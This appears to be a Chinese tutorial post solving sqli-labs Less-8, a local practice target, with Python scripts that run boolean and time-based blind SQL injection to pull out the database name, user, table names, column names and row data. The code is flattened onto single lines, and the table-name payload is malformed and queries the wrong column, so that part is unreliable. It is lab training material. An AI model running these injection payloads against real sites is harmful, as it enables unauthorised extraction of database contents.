在sqli-labs中的第8题无回显可以尝试盲注的手法获取数据

发现页面加载了3秒左右可以进行盲注

布尔盲注数据库名

import requestsdef inject_database(url):dataname=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:path = "id=1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)r = requests.get(url,path)if "You are in..........." in r.text:low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)if __name__=='__main__':url = 'http://127.0.0.1:8989/Less-8/'inject_database(url)

结果

用时间盲注出用户名

import requests
import timedef inject_user(url):user=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:payload = f"1' and if(ascii(substr(user(), {i}, 1)) > {mid},sleep(1),0)-- "res = {"id":payload}start_time = time.time()r = requests.get(url,params=res)if (time.time() - start_time)>1:# 匹配成功low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakuser += chr(mid)print(user)if __name__=='__main__':url = 'http://127.0.0.1:8989/Less-8/'inject_user(url)

结果

用盲注的方式查询表、列、具体数据

if __name__ == '__main__':url = 'http://127.0.0.1:8989/Less-8/'# 获取当前数据库名database_name = inject_database(url)print(f"Database name: {database_name}")# 获取数据库中的表名tables = inject_tables(url, database_name)print(f"Tables in database '{database_name}': {tables}")# 获取指定表中的列名table_name = 'users'  # 替换为目标表名columns = inject_columns(url, table_name)print(f"Columns in table '{table_name}': {columns}")# 获取指定表中特定列的数据column_name = 'username'  # 替换为目标列名data = inject_data(url, table_name, column_name)print(f"Data in column '{column_name}' of table '{table_name}': {data}")

时间检测模块

# 发送请求并检查响应时间
def check_time_injection(url, payload):res = {"id": payload}start_time = time.time()r = requests.get(url, params=res)elapsed_time = time.time() - start_timereturn elapsed_time > 1  # 假设延迟超过1秒表示查询成功

数据库模块

# 获取当前数据库名
def inject_database(url):dataname=''for i in range(1,15):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1' and ascii(substr(database(),%d, 1)) > %d-- " % (i,mid)res = {"id":payload}r = requests.get(url,params=res)if "You are in..........." in r.text:low = mid + 1else :high = midmid = (low + high) // 2if mid == 32:breakdataname += chr(mid)print(dataname)return dataname

数据库中表名模块

# 获取指定数据库中的表名
def inject_tables(url, database_name):tables = []table_index = 0while True:table_index += 1table_name = ''for i in range(1, 20):  # 假设表名长度不超过20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f",' and if(ascii(substr(select table_name from information_schema.tables where table_name='{database_name}' limit {table_index-1},1),{i},1 > {mid},sleep(1),0)-- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII码32为空格，通常表示结束breaktable_name += chr(low)print(f"Current table name: {table_name}")if table_name:tables.append(table_name)print(f"Found table: {table_name}")else:breakreturn tables

列名模块

def inject_columns(url, table_name):columns = []column_index = 0while True:column_index += 1column_name = ''for i in range(1, 20):  # 假设列名长度不超过20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select column_name from information_schema.columns where table_name='{table_name}' limit {column_index-1},1),{i},1)) > {mid},sleep(1),0) -- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII码32为空格，通常表示结束breakcolumn_name += chr(low)print(f"Current column name: {column_name}")if column_name:columns.append(column_name)print(f"Found column: {column_name}")else:breakreturn columns

指定查询数据模块

# 获取指定表中特定列的数据
def inject_data(url, table_name, column_name):data = []row_index = 0while True:row_index += 1row_value = ''for i in range(1, 20):  # 假设数据长度不超过20字符low = 32high = 128while low < high:mid = (low + high) // 2payload = f"1' and if(ascii(substr((select {column_name} from {table_name} limit {row_index-1},1),{i},1)) > {mid},sleep(1),0) -- "if check_time_injection(url, payload):low = mid + 1else:high = midif low == 32:  # ASCII码32为空格，通常表示结束breakrow_value += chr(low)print(f"Current row value: {row_value}")if row_value:data.append(row_value)print(f"Found data: {row_value}")else:breakreturn data

结果

数据库

列

user